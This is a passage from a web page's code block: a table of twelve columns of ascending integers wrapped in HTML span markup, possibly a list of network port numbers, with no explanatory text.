</span></span><span style="display:flex;"><span>556   1876  3381  5885	7833  9908  20854 29761 40844 45457 46752 56100
</span></span><span style="display:flex;"><span>557   1877  3382  5886	7841  9909  20861 29815 40848 45458 46753 56101
</span></span><span style="display:flex;"><span>558   1878  3383  5888	7845  9910  20872 29817 40860 45459 46754 56114
</span></span><span style="display:flex;"><span>559   1879  3384  5889	7848  9911  20889 29865 40884 45460 46755 56117
</span></span><span style="display:flex;"><span>560   1880  3385  5890	7849  9912  20891 29902 40900 45462 46757 56125
</span></span><span style="display:flex;"><span>561   1881  3386  5893	7850  9916  20895 29911 40910 45463 46758 56130
</span></span><span style="display:flex;"><span>562   1882  3387  5898	7851  9919  20900 29913 40927 45464 46759 56142
</span></span><span style="display:flex;"><span>563   1883  3388  5900	7857  9920  20930 29919 40929 45465 46760 56210
</span></span><span style="display:flex;"><span>564   1884  3389  5901	7858  9925  20931 29933 40932 45466 46761 56238
</span></span><span style="display:flex;"><span>565   1885  3390  5902	7865  9926  20957 29959 40956 45467 46762 56261
</span></span><span style="display:flex;"><span>566   1886  3391  5903	7868  9927  20972 29967 40977 45468 46763 56278
</span></span><span style="display:flex;"><span>567   1887  3392  5904	7869  9928  20980 30000 41000 45469 46764 56341
</span></span><span style="display:flex;"><span>568   1888  3393  5905	7870  9929  20999 30001 41003 45470 46765 56357
</span></span><span style="display:flex;"><span>569   1889  3394  5907	7871  9930  21000 30002 41004 45472 46766 56382
</span></span><span style="display:flex;"><span>570   1890  3395  5908	7872  9931  21001 30003 41005 45473 46767 56387
</span></span><span style="display:flex;"><span>571   1891  3396  5909	7874  9932  21003 30005 41006 45474 46768 56418
</span></span><span style="display:flex;"><span>572   1892  3397  5910	7875  9933  21005 30007 41007 45475 46769 56423
</span></span><span style="display:flex;"><span>573   1893  3398  5911	7876  9937  21012 30010 41010 45476 46770 56478
</span></span><span style="display:flex;"><span>574   1894  3399  5912	7877  9939  21015 30011 41019 45477 46771 56516
</span></span><span style="display:flex;"><span>575   1895  3400  5913	7878  9943  21018 30016 41020 45478 46772 56524
</span></span><span style="display:flex;"><span>576   1896  3401  5915	7879  9944  21019 30018 41022 45479 46773 56551
</span></span><span style="display:flex;"><span>577   1897  3402  5920	7880  9945  21020 30020 41026 45480 46774 56578
</span></span><span style="display:flex;"><span>578   1898  3403  5922	7881  9946  21037 30024 41027 45481 46775 56597
</span></span><span style="display:flex;"><span>579   1899  3404  5923	7882  9947  21038 30028 41046 45482 46776 56622
</span></span><span style="display:flex;"><span>580   1900  3405  5925	7883  9948  21049 30030 41050 45483 46777 56629
</span></span><span style="display:flex;"><span>581   1901  3406  5929	7884  9952  21051 30034 41051 45484 46778 56650
</span></span><span style="display:flex;"><span>582   1902  3407  5930	7885  9955  21052 30039 41065 45485 46780 56658
</span></span><span style="display:flex;"><span>583   1903  3408  5931	7886  9960  21058 30054 41068 45486 46781 56663
</span></span><span style="display:flex;"><span>584   1904  3409  5932	7888  9961  21071 30057 41071 45487 46782 56682
</span></span><span style="display:flex;"><span>585   1905  3410  5934	7889  9962  21082 30060 41072 45488 46783 56762
</span></span><span style="display:flex;"><span>586   1906  3411  5938	7890  9963  21097 30063 41094 45489 46784 56769
</span></span><span style="display:flex;"><span>587   1907  3412  5939	7891  9966  21101 30069 41096 45490 46785 56770
</span></span><span style="display:flex;"><span>588   1908  3413  5940	7892  9968  21106 30070 41097 45491 46786 56780
</span></span><span style="display:flex;"><span>589   1909  3414  5941	7893  9970  21107 30071 41105 45492 46787 56789
</span></span><span style="display:flex;"><span>590   1910  3415  5942	7896  9971  21108 30100 41112 45493 46788 56803
</span></span><span style="display:flex;"><span>591   1911  3416  5943	7898  9972  21110 30103 41123 45494 46790 56830
</span></span><span style="display:flex;"><span>592   1912  3417  5946	7899  9976  21113 30107 41132 45495 46791 56852
</span></span><span style="display:flex;"><span>593   1913  3418  5947	7900  9977  21117 30114 41145 45496 46792 56853
</span></span><span style="display:flex;"><span>594   1914  3419  5948	7901  9978  21123 30115 41146 45497 46793 56914
</span></span><span style="display:flex;"><span>595   1915  3420  5949	7903  9979  21128 30122 41155 45499 46794 56933
</span></span><span style="display:flex;"><span>596   1916  3421  5950	7904  9980  21164 30133 41158 45500 46795 56934
</span></span><span style="display:flex;"><span>597   1917  3422  5951	7905  9981  21167 30151 41163 45501 46796 56938
</span></span><span style="display:flex;"><span>598   1918  3423  5952	7908  9982  21193 30159 41165 45502 46797 56960
</span></span><span style="display:flex;"><span>599   1919  3424  5953	7909  9983  21195 30168 41171 45503 46798 56986
</span></span><span style="display:flex;"><span>600   1920  3425  5954	7910  9984  21200 30170 41174 45504 46799 57005
</span></span><span style="display:flex;"><span>601   1921  3426  5956	7911  9985  21206 30179 41194 45505 46800 57010
</span></span><span style="display:flex;"><span>602   1922  3427  5957	7913  9986  21212 30183 41211 45506 46801 57020
</span></span><span style="display:flex;"><span>603   1923  3428  5958	7916  9987  21215 30188 41213 45507 46802 57034
</span></span><span style="display:flex;"><span>604   1924  3429  5959	7917  9988  21221 30196 41234 45508 46803 57057
</span></span><span style="display:flex;"><span>605   1925  3430  5960	7918  9989  21230 30199 41238 45509 46804 57103
</span></span><span style="display:flex;"><span>606   1926  3431  5961	7919  9990  21231 30218 41242 45510 46805 57105
</span></span><span style="display:flex;"><span>607   1927  3432  5963	7923  9991  21241 30220 41246 45511 46806 57106
</span></span><span style="display:flex;"><span>608   1928  3433  5964	7927  9992  21243 30221 41271 45512 46807 57107
</span></span><span style="display:flex;"><span>609   1929  3434  5965	7928  9993  21279 30225 41281 45513 46808 57118
</span></span><span style="display:flex;"><span>610   1930  3435  5969	7929  9994  21289 30229 41282 45514 46809 57141
</span></span><span style="display:flex;"><span>611   1931  3436  5972	7930  9995  21302 30230 41286 45515 46810 57153
</span></span><span style="display:flex;"><span>612   1932  3437  5975	7931  9996  21324 30250 41298 45517 46811 57157
</span></span><span style="display:flex;"><span>613   1933  3438  5979	7932  9997  21338 30299 41299 45518 46812 57232
</span></span><span style="display:flex;"><span>614   1934  3439  5980	7933  9998  21355 30300 41300 45519 46813 57253
</span></span><span style="display:flex;"><span>615   1935  3440  5981	7935  9999  21356 30301 41307 45521 46814 57291
</span></span><span style="display:flex;"><span>616   1936  3441  5983	7937  10000 21365 30303 41318 45522 46815 57322
</span></span><span style="display:flex;"><span>617   1937  3442  5985	7940  10001 21385 30308 41319 45523 46817 57325
</span></span><span style="display:flex;"><span>618   1938  3443  5986	7942  10002 21386 30309 41338 45524 46818 57346
</span></span><span style="display:flex;"><span>619   1939  3444  5987	7943  10003 21389 30321 41372 45525 46820 57355
</span></span><span style="display:flex;"><span>620   1940  3445  5988	7944  10004 21391 30324 41386 45528 46821 57371
</span></span><span style="display:flex;"><span>621   1941  3446  5989	7945  10005 21401 30325 41389 45529 46822 57375
</span></span><span style="display:flex;"><span>622   1942  3447  5990	7950  10006 21407 30331 41401 45530 46823 57381
</span></span><span style="display:flex;"><span>623   1943  3448  5991	7951  10007 21411 30333 41414 45531 46824 57391
</span></span><span style="display:flex;"><span>624   1944  3449  5992	7952  10009 21433 30347 41415 45532 46825 57394
</span></span><span style="display:flex;"><span>625   1945  3450  5993	7953  10010 21435 30353 41418 45533 46827 57411
</span></span><span style="display:flex;"><span>626   1946  3451  5994	7956  10011 21446 30357 41466 45534 46828 57418
</span></span><span style="display:flex;"><span>627   1947  3452  5995	7957  10012 21447 30359 41482 45535 46829 57425
</span></span><span style="display:flex;"><span>628   1948  3453  5996	7958  10013 21452 30362 41499 45536 46830 57463
</span></span><span style="display:flex;"><span>629   1949  3454  5997	7959  10018 21478 30367 41501 45537 46831 57490
</span></span><span style="display:flex;"><span>630   1950  3455  5998	7960  10019 21542 30376 41502 45539 46832 57521
</span></span><span style="display:flex;"><span>631   1951  3456  5999	7961  10020 21552 30379 41503 45540 46834 57555
</span></span><span style="display:flex;"><span>632   1952  3457  6000	7962  10021 21577 30382 41511 45541 46835 57563
</span></span><span style="display:flex;"><span>633   1953  3458  6001	7963  10022 21579 30389 41522 45542 46836 57575
</span></span><span style="display:flex;"><span>634   1954  3459  6002	7964  10023 21596 30390 41530 45543 46837 57577
</span></span><span style="display:flex;"><span>635   1955  3460  6003	7965  10026 21670 30406 41534 45544 46838 57603
</span></span><span style="display:flex;"><span>636   1956  3461  6004	7966  10027 21673 30407 41561 45545 46840 57669
</span></span><span style="display:flex;"><span>637   1957  3462  6005	7967  10034 21708 30410 41579 45546 46841 57676
</span></span><span style="display:flex;"><span>638   1958  3463  6006	7969  10036 21711 30412 41582 45547 46842 57705
</span></span><span style="display:flex;"><span>639   1959  3464  6007	7970  10037 21721 30416 41583 45549 46843 57712
</span></span><span style="display:flex;"><span>640   1960  3465  6008	7971  10038 21730 30458 41587 45550 46844 57723
</span></span><span style="display:flex;"><span>666   1961  3466  6009	7972  10040 21734 30502 41624 45552 46845 57729
</span></span><span style="display:flex;"><span>681   1962  3467  6010	7973  10042 21769 30551 41648 45553 46846 57737
</span></span><span style="display:flex;"><span>682   1963  3468  6011	7975  10043 21817 30561 41660 45554 46847 57772
</span></span><span style="display:flex;"><span>683   1964  3469  6012	7976  10044 21846 30566 41714 45556 46848 57816
</span></span><span style="display:flex;"><span>684   1965  3470  6016	7977  10046 21865 30600 41758 45557 46849 57826
</span></span><span style="display:flex;"><span>685   1966  3471  6019	7978  10050 21902 30614 41770 45558 46850 57843
</span></span><span style="display:flex;"><span>686   1967  3472  6020	7979  10051 21914 30621 41792 45560 46852 57861
</span></span><span style="display:flex;"><span>687   1968  3473  6021	7980  10052 21919 30632 41810 45561 46853 57872
</span></span><span style="display:flex;"><span>688   1969  3474  6023	7982  10053 21926 30636 41849 45562 46854 57893
</span></span><span style="display:flex;"><span>689   1970  3475  6026	7983  10055 21940 30647 41858 45563 46855 57900
</span></span><span style="display:flex;"><span>690   1971  3476  6027	7984  10057 21951 30657 41864 45565 46856 57922
</span></span><span style="display:flex;"><span>691   1972  3477  6030	7985  10058 21953 30670 41866 45566 46857 57929
</span></span><span style="display:flex;"><span>692   1973  3478  6034	7986  10059 21954 30678 41901 45567 46858 57930
</span></span><span style="display:flex;"><span>693   1974  3479  6035	7987  10062 21961 30680 41906 45568 46859 58000
</span></span><span style="display:flex;"><span>694   1975  3480  6036	7988  10066 21974 30683 41919 45571 46860 58005
</span></span><span style="display:flex;"><span>695   1976  3481  6046	7989  10067 21990 30698 41935 45572 46861 58009
</span></span><span style="display:flex;"><span>696   1977  3482  6050	7990  10068 22000 30703 41953 45573 46862 58010
</span></span><span style="display:flex;"><span>697   1978  3483  6051	7991  10072 22004 30727 41954 45574 46864 58018
</span></span><span style="display:flex;"><span>698   1979  3484  6052	7992  10073 22005 30789 41962 45576 46865 58054
</span></span><span style="display:flex;"><span>699   1980  3485  6053	7998  10074 22012 30797 41983 45577 46866 58059
</span></span><span style="display:flex;"><span>700   1981  3486  6054	7999  10075 22020 30799 42005 45578 46867 58071
</span></span><span style="display:flex;"><span>701   1982  3487  6057	8001  10076 22025 30800 42012 45579 46868 58121
</span></span><span style="display:flex;"><span>702   1983  3488  6058	8002  10077 22031 30801 42013 45580 46870 58123
</span></span><span style="display:flex;"><span>703   1984  3489  6059	8003  10078 22047 30803 42014 45581 46871 58126
</span></span><span style="display:flex;"><span>704   1985  3490  6060	8004  10079 22051 30805 42020 45582 46873 58147
</span></span><span style="display:flex;"><span>705   1986  3491  6061	8005  10080 22084 30808 42036 45583 46874 58194
</span></span><span style="display:flex;"><span>706   1987  3492  6062	8006  10081 22091 30815 42038 45584 46875 58210
</span></span><span style="display:flex;"><span>707   1988  3493  6063	8008  10082 22105 30823 42042 45585 46876 58213
</span></span><span style="display:flex;"><span>708   1989  3494  6066	8009  10083 22119 30827 42050 45586 46877 58294
</span></span><span style="display:flex;"><span>709   1990  3495  6067	8010  10086 22122 30842 42055 45587 46878 58306
</span></span><span style="display:flex;"><span>710   1991  3496  6068	8011  10087 22124 30847 42098 45589 46879 58312
</span></span><span style="display:flex;"><span>711   1992  3497  6069	8012  10088 22125 30871 42101 45590 46880 58347
</span></span><span style="display:flex;"><span>712   1993  3499  6070	8013  10089 22127 30895 42106 45591 46881 58371
</span></span><span style="display:flex;"><span>713   1994  3500  6071	8015  10100 22132 30919 42153 45592 46882 58377
</span></span><span style="display:flex;"><span>714   1995  3501  6072	8017  10101 22134 30923 42154 45593 46883 58389
</span></span><span style="display:flex;"><span>715   1996  3502  6073	8018  10102 22180 30933 42159 45594 46884 58402
</span></span><span style="display:flex;"><span>716   1997  3503  6074	8019  10113 22182 30943 42177 45595 46885 58409
</span></span><span style="display:flex;"><span>717   1998  3504  6075	8020  10118 22199 30949 42202 45596 46886 58429
</span></span><span style="display:flex;"><span>718   1999  3505  6078	8021  10121 22200 30971 42212 45597 46887 58430
</span></span><span style="display:flex;"><span>719   2001  3506  6080	8022  10127 22202 30989 42223 45598 46888 58446
</span></span><span style="display:flex;"><span>720   2002  3507  6082	8023  10128 22206 30991 42251 45599 46889 58450
</span></span><span style="display:flex;"><span>721   2003  3508  6085	8024  10132 22210 30996 42260 45600 46890 58501
</span></span><span style="display:flex;"><span>722   2004  3511  6086	8025  10134 22212 31001 42297 45601 46891 58520
</span></span><span style="display:flex;"><span>723   2005  3512  6087	8026  10138 22222 31004 42308 45602 46892 58555
</span></span><span style="display:flex;"><span>724   2006  3513  6089	8027  10142 22225 31013 42346 45603 46894 58581
</span></span><span style="display:flex;"><span>725   2007  3514  6090	8028  10147 22230 31015 42350 45604 46895 58587
</span></span><span style="display:flex;"><span>726   2008  3515  6092	8030  10151 22241 31020 42356 45605 46896 58611
</span></span><span style="display:flex;"><span>727   2009  3517  6094	8031  10153 22243 31029 42389 45606 46897 58635
</span></span><span style="display:flex;"><span>728   2010  3518  6095	8032  10158 22278 31037 42401 45607 46899 58693
</span></span><span style="display:flex;"><span>729   2011  3519  6096	8033  10167 22289 31059 42404 45608 46900 58700
</span></span><span style="display:flex;"><span>730   2012  3520  6097	8034  10171 22300 31060 42424 45609 46901 58720
</span></span><span style="display:flex;"><span>731   2013  3521  6098	8035  10199 22333 31063 42434 45610 46902 58758
</span></span><span style="display:flex;"><span>732   2014  3522  6100	8036  10201 22339 31066 42446 45611 46903 58793
</span></span><span style="display:flex;"><span>733   2015  3523  6101	8037  10222 22348 31068 42500 45612 46905 58824
</span></span><span style="display:flex;"><span>734   2016  3526  6102	8038  10225 22349 31071 42506 45613 46906 58836
</span></span><span style="display:flex;"><span>735   2017  3528  6104	8039  10238 22356 31075 42509 45614 46907 58843
</span></span><span style="display:flex;"><span>736   2018  3529  6106	8040  10239 22367 31087 42516 45615 46908 58916
</span></span><span style="display:flex;"><span>737   2019  3530  6107	8041  10242 22383 31097 42521 45616 46909 58951
</span></span><span style="display:flex;"><span>738   2020  3532  6109	8044  10245 22417 31098 42548 45617 46911 58965
</span></span><span style="display:flex;"><span>739   2021  3533  6110	8045  10248 22418 31100 42569 45618 46912 59000
</span></span><span style="display:flex;"><span>740   2022  3534  6111	8048  10263 22444 31108 42586 45619 46913 59001
</span></span><span style="display:flex;"><span>741   2023  3535  6112	8050  10267 22457 31111 42590 45620 46914 59009
</span></span><span style="display:flex;"><span>742   2024  3536  6113	8053  10270 22459 31126 42594 45621 46915 59012
</span></span><span style="display:flex;"><span>743   2025  3540  6114	8055  10278 22470 31137 42606 45622 46916 59060
</span></span><span style="display:flex;"><span>744   2026  3542  6115	8059  10280 22482 31141 42617 45623 46917 59107
</span></span><span style="display:flex;"><span>745   2027  3544  6116	8060  10289 22500 31154 42628 45624 46918 59108
</span></span><span style="display:flex;"><span>746   2028  3545  6118	8061  10293 22509 31159 42634 45625 46919 59110
</span></span><span style="display:flex;"><span>747   2029  3547  6119	8067  10294 22518 31160 42654 45626 46920 59135
</span></span><span style="display:flex;"><span>749   2030  3548  6121	8069  10300 22520 31163 42658 45627 46921 59143
</span></span><span style="display:flex;"><span>750   2031  3551  6123	8076  10314 22521 31165 42667 45628 46922 59211
</span></span><span style="display:flex;"><span>751   2032  3552  6124	8079  10317 22530 31200 42668 45630 46923 59234
</span></span><span style="display:flex;"><span>752   2033  3557  6126	8080  10331 22566 31201 42687 45631 46924 59235
</span></span><span style="display:flex;"><span>753   2034  3558  6128	8081  10332 22614 31207 42702 45633 46925 59239
</span></span><span style="display:flex;"><span>754   2035  3559  6129	8082  10337 22619 31218 42717 45634 46926 59250
</span></span><span style="display:flex;"><span>755   2036  3560  6130	8083  10339 22682 31231 42718 45635 46927 59256
</span></span><span style="display:flex;"><span>756   2037  3561  6131	8085  10353 22683 31245 42722 45636 46928 59283
</span></span><span style="display:flex;"><span>757   2038  3562  6132	8088  10354 22685 31250 42757 45637 46929 59300
</span></span><span style="display:flex;"><span>758   2039  3563  6133	8089  10357 22701 31255 42769 45638 46930 59331
</span></span><span style="display:flex;"><span>759   2040  3564  6136	8090  10367 22750 31258 42789 45639 46931 59391
</span></span><span style="display:flex;"><span>760   2041  3565  6137	8091  10369 22758 31279 42806 45640 46932 59411
</span></span><span style="display:flex;"><span>761   2042  3566  6138	8092  10370 22775 31291 42834 45641 46933 59550
</span></span><span style="display:flex;"><span>762   2043  3567  6140	8094  10381 22780 31293 42836 45642 46934 59571
</span></span><span style="display:flex;"><span>763   2044  3568  6141	8095  10386 22781 31302 42837 45643 46935 59591
</span></span><span style="display:flex;"><span>764   2045  3569  6142	8096  10389 22782 31303 42865 45644 46936 59592
</span></span><span style="display:flex;"><span>765   2046  3570  6144	8097  10390 22806 31307 42872 45645 46937 59639
</span></span><span style="display:flex;"><span>766   2047  3571  6145	8098  10391 22808 31320 42886 45646 46938 59698
</span></span><span style="display:flex;"><span>767   2048  3572  6146	8099  10404 22809 31324 42901 45647 46939 59713
</span></span><span style="display:flex;"><span>768   2049  3573  6147	8100  10412 22810 31337 42903 45648 46940 59714
</span></span><span style="display:flex;"><span>769   2050  3575  6148	8101  10418 22817 31338 42930 45649 46941 59768
</span></span><span style="display:flex;"><span>770   2051  3577  6149	8102  10421 22818 31373 42933 45651 46943 59797
</span></span><span style="display:flex;"><span>771   2052  3579  6154	8104  10428 22819 31389 42942 45652 46944 59834
</span></span><span style="display:flex;"><span>772   2053  3580  6155	8105  10430 22840 31399 42951 45653 46945 59862
</span></span><span style="display:flex;"><span>773   2054  3582  6161	8107  10434 22846 31400 42954 45654 46946 59863
</span></span><span style="display:flex;"><span>774   2055  3583  6162	8108  10442 22854 31419 42959 45655 46948 59885
</span></span><span style="display:flex;"><span>775   2056  3584  6163	8109  10443 22857 31420 42962 45656 46950 59906
</span></span><span style="display:flex;"><span>776   2057  3586  6164	8110  10451 22862 31440 42964 45657 46952 59938
</span></span><span style="display:flex;"><span>777   2058  3587  6166	8115  10453 22863 31447 42967 45658 46953 59951
</span></span><span style="display:flex;"><span>778   2059  3589  6167	8116  10457 22864 31492 42975 45660 46954 59995
</span></span><span style="display:flex;"><span>779   2060  3590  6168	8117  10462 22865 31529 42977 45661 46955 59999
</span></span><span style="display:flex;"><span>780   2061  3591  6169	8118  10467 22866 31543 42981 45662 46956 60000
</span></span><span style="display:flex;"><span>781   2062  3592  6170	8120  10469 22867 31567 42986 45663 46957 60001
</span></span><span style="display:flex;"><span>782   2063  3593  6171	8122  10476 22868 31589 42990 45664 46959 60002
</span></span><span style="display:flex;"><span>783   2064  3597  6178	8124  10478 22869 31591 42997 45665 46960 60003
</span></span><span style="display:flex;"><span>784   2065  3599  6179	8129  10485 22870 31604 42998 45666 46961 60004
</span></span><span style="display:flex;"><span>785   2066  3600  6180	8130  10500 22874 31606 43002 45668 46962 60005
</span></span><span style="display:flex;"><span>786   2067  3601  6181	8133  10504 22875 31639 43003 45669 46963 60007
</span></span><span style="display:flex;"><span>787   2068  3607  6182	8137  10505 22876 31643 43004 45671 46964 60010
</span></span><span style="display:flex;"><span>788   2069  3611  6183	8138  10515 22880 31656 43005 45672 46965 60023
</span></span><span style="display:flex;"><span>789   2070  3612  6186	8139  10521 22881 31661 43009 45673 46966 60031
</span></span><span style="display:flex;"><span>790   2071  3613  6187	8142  10524 22882 31675 43011 45674 46967 60037
</span></span><span style="display:flex;"><span>791   2072  3616  6188	8143  10525 22886 31689 43030 45675 46969 60055
</span></span><span style="display:flex;"><span>792   2073  3617  6190	8144  10530 22887 31700 43061 45676 46970 60070
</span></span><span style="display:flex;"><span>793   2074  3621  6191	8146  10532 22889 31711 43084 45677 46971 60101
</span></span><span style="display:flex;"><span>794   2075  3625  6192	8150  10538 22894 31729 43086 45678 46972 60106
</span></span><span style="display:flex;"><span>795   2076  3627  6194	8152  10545 22898 31730 43100 45679 46973 60109
</span></span><span style="display:flex;"><span>796   2077  3633  6196	8154  10551 22899 31746 43102 45680 46974 60110
</span></span><span style="display:flex;"><span>797   2078  3639  6199	8155  10552 22900 31751 43110 45682 46975 60135
</span></span><span style="display:flex;"><span>798   2079  3650  6200	8162  10555 22921 31798 43121 45683 46977 60150
</span></span><span style="display:flex;"><span>799   2080  3651  6202	8164  10556 22929 31805 43125 45684 46978 60154
</span></span><span style="display:flex;"><span>800   2081  3653  6203	8167  10572 22931 31825 43131 45685 46979 60189
</span></span><span style="display:flex;"><span>801   2082  3655  6212	8168  10576 22942 31826 43133 45686 46980 60224
</span></span><span style="display:flex;"><span>803   2083  3656  6214	8169  10589 22943 31834 43134 45687 46982 60226
</span></span><span style="display:flex;"><span>804   2084  3658  6215	8170  10608 22944 31840 43138 45688 46983 60230
</span></span><span style="display:flex;"><span>805   2085  3671  6216	8173  10609 22945 31847 43148 45689 46984 60234
</span></span><span style="display:flex;"><span>806   2086  3675  6218	8174  10617 22946 31883 43149 45691 46985 60250
</span></span><span style="display:flex;"><span>807   2087  3678  6219	8175  10618 22947 31894 43150 45692 46986 60300
</span></span><span style="display:flex;"><span>808   2088  3679  6221	8176  10620 22948 31900 43151 45694 46987 60303
</span></span><span style="display:flex;"><span>809   2089  3681  6222	8177  10623 22949 31901 43157 45695 46988 60316
</span></span><span style="display:flex;"><span>810   2090  3685  6223	8178  10627 22950 31905 43160 45696 46989 60329
</span></span><span style="display:flex;"><span>811   2091  3686  6224	8180  10629 22951 31923 43163 45697 46990 60340
</span></span><span style="display:flex;"><span>812   2092  3687  6225	8182  10649 22952 31930 43175 45698 46991 60346
</span></span><span style="display:flex;"><span>813   2093  3690  6227	8183  10654 22953 31952 43177 45699 46992 60371
</span></span><span style="display:flex;"><span>814   2094  3695  6231	8185  10663 22954 31970 43182 45700 46994 60385
</span></span><span style="display:flex;"><span>815   2095  3696  6232	8186  10664 22958 31972 43186 45701 46995 60394
</span></span><span style="display:flex;"><span>816   2096  3699  6233	8187  10666 22959 31975 43193 45702 46996 60442
</span></span><span style="display:flex;"><span>817   2097  3700  6236	8189  10689 22960 31978 43202 45703 46998 60490
</span></span><span style="display:flex;"><span>818   2098  3701  6238	8191  10699 22973 31997 43203 45704 46999 60499
</span></span><span style="display:flex;"><span>819   2099  3703  6243	8192  10700 22974 32001 43204 45705 47000 60500
</span></span><span style="display:flex;"><span>820   2100  3705  6244	8193  10703 22975 32005 43210 45706 47001 60515
</span></span><span style="display:flex;"><span>821   2101  3708  6246	8195  10713 22979 32010 43228 45707 47003 60530
</span></span><span style="display:flex;"><span>822   2102  3709  6247	8205  10729 22987 32017 43247 45708 47005 60538
</span></span><span style="display:flex;"><span>823   2103  3714  6248	8206  10746 22999 32023 43248 45709 47017 60561
</span></span><span style="display:flex;"><span>824   2104  3715  6249	8211  10751 23000 32041 43257 45710 47018 60601
</span></span><span style="display:flex;"><span>825   2105  3719  6250	8212  10757 23010 32045 43261 45711 47020 60634
</span></span><span style="display:flex;"><span>826   2106  3733  6251	8213  10759 23015 32050 43264 45713 47022 60642
</span></span><span style="display:flex;"><span>827   2107  3737  6252	8214  10764 23016 32061 43265 45714 47029 60704
</span></span><span style="display:flex;"><span>828   2108  3744  6255	8219  10765 23017 32075 43266 45715 47035 60705
</span></span><span style="display:flex;"><span>829   2109  3755  6256	8220  10771 23018 32093 43268 45716 47037 60752
</span></span><span style="display:flex;"><span>830   2110  3768  6257	8221  10795 23019 32095 43271 45717 47039 60772
</span></span><span style="display:flex;"><span>831   2111  3770  6258	8225  10803 23020 32100 43273 45718 47041 60777
</span></span><span style="display:flex;"><span>832   2112  3775  6259	8227  10810 23021 32115 43287 45719 47044 60819
</span></span><span style="display:flex;"><span>833   2113  3777  6261	8229  10812 23022 32117 43298 45720 47045 60853
</span></span><span style="display:flex;"><span>834   2114  3778  6262	8231  10814 23023 32123 43320 45721 47047 60866
</span></span><span style="display:flex;"><span>835   2115  3791  6263	8232  10816 23024 32132 43325 45722 47048 60945
</span></span><span style="display:flex;"><span>836   2116  3792  6264	8236  10827 23025 32148 43337 45723 47052 61005
</span></span><span style="display:flex;"><span>837   2117  3795  6265	8239  10843 23026 32158 43343 45724 47055 61018
</span></span><span style="display:flex;"><span>838   2118  3798  6266	8241  10873 23030 32166 43346 45726 47058 61022
</span></span><span style="display:flex;"><span>839   2119  3799  6267	8242  10888 23031 32168 43358 45727 47059 61026
</span></span><span style="display:flex;"><span>840   2120  3800  6268	8243  10893 23032 32170 43370 45728 47060 61028
</span></span><span style="display:flex;"><span>841   2121  3807  6269	8244  10895 23051 32186 43375 45729 47063 61029
</span></span><span style="display:flex;"><span>842   2122  3810  6276	8245  10919 23052 32189 43383 45730 47064 61045
</span></span><span style="display:flex;"><span>843   2123  3814  6277	8249  10921 23053 32201 43385 45731 47065 61047
</span></span><span style="display:flex;"><span>844   2124  3817  6284	8251  10923 23061 32203 43386 45732 47066 61050
</span></span><span style="display:flex;"><span>845   2125  3818  6286	8252  10925 23090 32210 43388 45733 47072 61077
</span></span><span style="display:flex;"><span>846   2126  3825  6288	8253  10956 23091 32231 43389 45734 47073 61086
</span></span><span style="display:flex;"><span>847   2127  3827  6289	8254  10983 23092 32249 43390 45736 47075 61111
</span></span><span style="display:flex;"><span>848   2128  3831  6292	8255  10989 23093 32255 43391 45737 47076 61113
</span></span><span style="display:flex;"><span>849   2129  3835  6293	8256  10991 23094 32275 43392 45738 47081 61132
</span></span><span style="display:flex;"><span>850   2130  3839  6294	8260  10998 23095 32315 43405 45739 47083 61134
</span></span><span style="display:flex;"><span>851   2131  3840  6295	8261  10999 23096 32329 43406 45740 47084 61171
</span></span><span style="display:flex;"><span>852   2132  3842  6296	8262  11000 23097 32330 43409 45741 47085 61189
</span></span><span style="display:flex;"><span>853   2133  3843  6297	8264  11001 23098 32351 43414 45743 47086 61232
</span></span><span style="display:flex;"><span>854   2134  3848  6300	8269  11002 23099 32357 43423 45744 47090 61233
</span></span><span style="display:flex;"><span>855   2135  3856  6301	8270  11003 23100 32359 43425 45745 47093 61234
</span></span><span style="display:flex;"><span>856   2136  3864  6302	8271  11004 23101 32363 43433 45746 47095 61235
</span></span><span style="display:flex;"><span>857   2137  3869  6304	8276  11005 23105 32364 43435 45747 47098 61264
</span></span><span style="display:flex;"><span>858   2138  3871  6305	8277  11006 23106 32374 43438 45748 47099 61286
</span></span><span style="display:flex;"><span>859   2139  3875  6306	8279  11007 23107 32384 43449 45749 47101 61297
</span></span><span style="display:flex;"><span>860   2140  3876  6310	8281  11008 23108 32385 43476 45750 47105 61300
</span></span><span style="display:flex;"><span>861   2141  3881  6311	8282  11009 23109 32389 43488 45751 47107 61310
</span></span><span style="display:flex;"><span>862   2142  3886  6313	8289  11010 23110 32393 43489 45752 47109 61360
</span></span><span style="display:flex;"><span>863   2143  3889  6314	8293  11011 23121 32405 43505 45753 47111 61372
</span></span><span style="display:flex;"><span>864   2144  3890  6318	8294  11012 23125 32424 43510 45754 47114 61373
</span></span><span style="display:flex;"><span>865   2145  3891  6320	8295  11013 23132 32441 43536 45755 47115 61382
</span></span><span style="display:flex;"><span>866   2146  3897  6321	8298  11014 23133 32457 43553 45756 47117 61393
</span></span><span style="display:flex;"><span>867   2147  3898  6322	8300  11015 23134 32459 43568 45757 47118 61403
</span></span><span style="display:flex;"><span>868   2148  3899  6323	8301  11016 23142 32500 43570 45760 47127 61421
</span></span><span style="display:flex;"><span>869   2149  3900  6324	8308  11017 23165 32502 43577 45761 47128 61427
</span></span><span style="display:flex;"><span>870   2150  3901  6325	8310  11018 23166 32507 43587 45763 47129 61438
</span></span><span style="display:flex;"><span>871   2151  3905  6326	8311  11019 23167 32526 43590 45764 47131 61456
</span></span><span style="display:flex;"><span>872   2152  3907  6327	8314  11020 23171 32547 43595 45765 47136 61473
</span></span><span style="display:flex;"><span>873   2153  3910  6329	8315  11026 23172 32550 43607 45766 47138 61479
</span></span><span style="display:flex;"><span>874   2154  3911  6330	8316  11035 23173 32551 43628 45767 47139 61485
</span></span><span style="display:flex;"><span>875   2155  3922  6331	8318  11039 23174 32555 43649 45768 47140 61491
</span></span><span style="display:flex;"><span>876   2156  3923  6332	8320  11074 23175 32566 43652 45769 47141 61508
</span></span><span style="display:flex;"><span>877   2157  3937  6333	8326  11083 23176 32585 43654 45770 47143 61511
</span></span><span style="display:flex;"><span>878   2158  3940  6334	8327  11087 23177 32601 43657 45772 47144 61554
</span></span><span style="display:flex;"><span>879   2159  3946  6336	8328  11089 23178 32612 43672 45773 47145 61557
</span></span><span style="display:flex;"><span>880   2160  3963  6338	8329  11100 23179 32643 43680 45774 47147 61560
</span></span><span style="display:flex;"><span>881   2161  3972  6340	8330  11102 23180 32668 43723 45775 47149 61584
</span></span><span style="display:flex;"><span>882   2162  3986  6342	8331  11110 23182 32676 43733 45776 47152 61612
</span></span><span style="display:flex;"><span>883   2163  3988  6343	8335  11111 23186 32681 43746 45777 47157 61616
</span></span><span style="display:flex;"><span>884   2164  3990  6344	8336  11112 23187 32711 43776 45778 47159 61619
